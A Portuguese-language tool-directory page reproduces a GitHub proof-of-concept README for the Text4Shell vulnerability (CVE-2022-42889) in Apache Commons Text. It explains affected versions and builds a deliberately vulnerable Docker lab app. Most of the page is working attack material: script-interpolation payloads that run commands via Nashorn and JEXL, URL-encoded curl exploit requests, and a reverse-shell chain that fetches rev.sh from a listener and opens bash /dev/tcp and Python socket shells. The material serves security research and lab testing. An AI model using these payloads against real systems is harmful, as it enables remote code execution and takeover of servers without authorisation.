Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2022-42889-text4shell — Pesquisa e PoC do CVE-2022-42889, também conhecido como Text4Shell | Kitploit
Ferramentas/GitHubGitHub/cxzero/cve-2022-42889-text4shell
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoDesenvolvimento de Payloads
GitHubcxzero/cve-2022-42889-text4shell

CVE-2022-42889-text4shell

Pesquisa e PoC do CVE-2022-42889, também conhecido como Text4Shell

Ver Repositório
203há 3 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2022-42889 também conhecido como text4shell

PoC para a vulnerabilidade recentemente descoberta no Apache Commons Text por @pwntester:

Como mencionado em https://www.rapid7.com/blog/post/2022/10/17/cve-2022-42889-keep-calm-and-stop-saying-4shell/:

A vulnerabilidade existe no objeto interpolador StringSubstitutor. Um interpolador é criado pelo método StringSubstitutor.createInterpolator() e permitirá buscas de strings conforme definido na StringLookupFactory. Isso pode ser usado passando uma string “${prefix:name}”, em que o prefixo é a busca mencionada. Usar as buscas “script”, “dns” ou “url” permitiria que uma string maliciosa executasse scripts arbitrários quando passada ao objeto interpolador.

Versões afetadas

As versões afetadas do Apache Commons Text são de 1.5 a 1.9. A vulnerabilidade foi corrigida na versão 1.10.

Condições para exploração

  • Executar uma versão do Apache Commons Text entre 1.5 e 1.9
  • Usar a classe interpoladora StringSubstitutor

Para ser explorada remotamente, a entrada controlada pelo atacante deve ser usada como entrada para a interpolação do StringSubstitutor. Em particular, nos métodos StringSubstitutor.replace() ou

StringSubstitutor.replaceIn()

Outros mecanismos de script JavaScript

Desde o JDK 15, o mecanismo JavaScript Nashorn foi removido: https://openjdk.org/jeps/372. Mas se dependências de terceiros forem incluídas, como JEXL, RCE no Apache Commnos Text pode ocorrer (https://twitter.com/pwntester/status/1582321752566161409)

Exploração

Interpolador script

Ele pode ser explorado para obter RCE.

JDK < 15

Mecanismo Nashorn:

root@kitploit:~
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}

JDK 15+

Se usar JEXL de terceiros:

root@kitploit:~
${script:JEXL:''.getClass().forName('java.lang.Runtime').getRuntime().exec('touch /tmp/pwned')}

Interpolador dns

Isso pode levar a uma consulta DNS:

root@kitploit:~
${dns:address|commons.apache.org}

Interpolador url

Ele se conecta à URL especificada e tenta buscar o conteúdo:

root@kitploit:~
${url:UTF-8:https://nvd.nist.gov/vuln/detail/CVE-2022-42889}

Compilação manual do PoC

Template baseado em https://start.spring.io/

root@kitploit:~
mvn clean package -DskipTests
java -jar spring-boot-0.0.1-SNAPSHOT.jar 

Executando o app no Docker

Usando JVM 11

root@kitploit:~
sudo docker build -t text4shell . -f Dockerfile.Java11
sudo docker run -p 8080:8080 text4shell 

Usando JVM 19

root@kitploit:~
sudo docker build -t text4shell . -f Dockerfile.Java19
sudo docker run -p 8080:8080 text4shell 

PoCs fornecidos

Existem diferentes endpoints fornecidos para testar os diferentes vetores de ataque mencionados.

/poc1

imagem

root@kitploit:~
curl http://localhost:8080/poc1

imagem

/poc2

imagem

root@kitploit:~
curl http://localhost:8080/poc2

imagem

/poc3

imagem

root@kitploit:~
curl http://localhost:8080/poc3

imagem

/message?text=

root@kitploit:~
curl http://localhost:8080/message
curl http://localhost:8080/message?text=1

imagem

Usando Nashorn:

root@kitploit:~
curl http://localhost:8080/message?text=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime().exec(%27touch%20%2Ftmp%2Ffoo%27)%7D

imagem imagem

Usando JEXL:

root@kitploit:~
curl http://localhost:8080/message?text=%24%7Bscript%3AJEXL%3A%27%27.getClass().forName(%27java.lang.Runtime%27).getRuntime().exec(%27touch%20%2Ftmp%2Fpwned%27)%7D

imagem

imagem

Obter um reverse shell

Para ser simples, estou usando a interface padrão do Docker para o listener do netcat. Remexendo aqui e ali, cheguei a estes payloads com reverse shells bash e python funcionando bem:

root@kitploit:~
${script:javascript:java.lang.Runtime.getRuntime().exec('curl -s http://172.17.0.1:3333/rev.sh -o /tmp/rev.sh')}
${script:javascript:java.lang.Runtime.getRuntime().exec('bash /tmp/rev.sh')}

Onde rev.sh é servido com estes possíveis conteúdos:

root@kitploit:~
bash -i >& /dev/tcp/172.17.0.1/5555 0>&1
root@kitploit:~
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1,5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

imagem imagem

imagem imagem

Referências

  • https://securitylab.github.com/advisories/GHSL-2022-018_Apache_Commons_Text/
  • https://sysdig.com/blog/cve-2022-42889-text4shell/
  • https://nakedsecurity.sophos.com/2022/10/18/dangerous-hole-in-apache-commons-text-like-log4shell-all-over-again/
  • https://www.rapid7.com/blog/post/2022/10/17/cve-2022-42889-keep-calm-and-stop-saying-4shell/
  • https://www.cyberkendra.com/2022/10/apache-commons-text-code-execution.html
  • https://twitter.com/pwntester/status/1583189642471706624
  • https://twitter.com/pyn3rd/status/1582729285005037568
  • https://medium.com/@cxzero/text4shell-cve-2022-42889-brief-vulnerability-analysis-and-exploitation-fe13a0baadbb

Créditos a outros PoCs

  • https://github.com/SeanWrightSec/CVE-2022-42889-PoC/
  • https://github.com/korteke/CVE-2022-42889-POC
  • https://github.com/karthikuj/cve-2022-42889-text4shell-docker
  • https://github.com/ClickCyber/cve-2022-42889/blob/main/CVE-2022-42889.php
  • https://github.com/kljunowsky/CVE-2022-42889-text4shell
  • https://github.com/securekomodo/text4shell-poc
Baixar ferramenta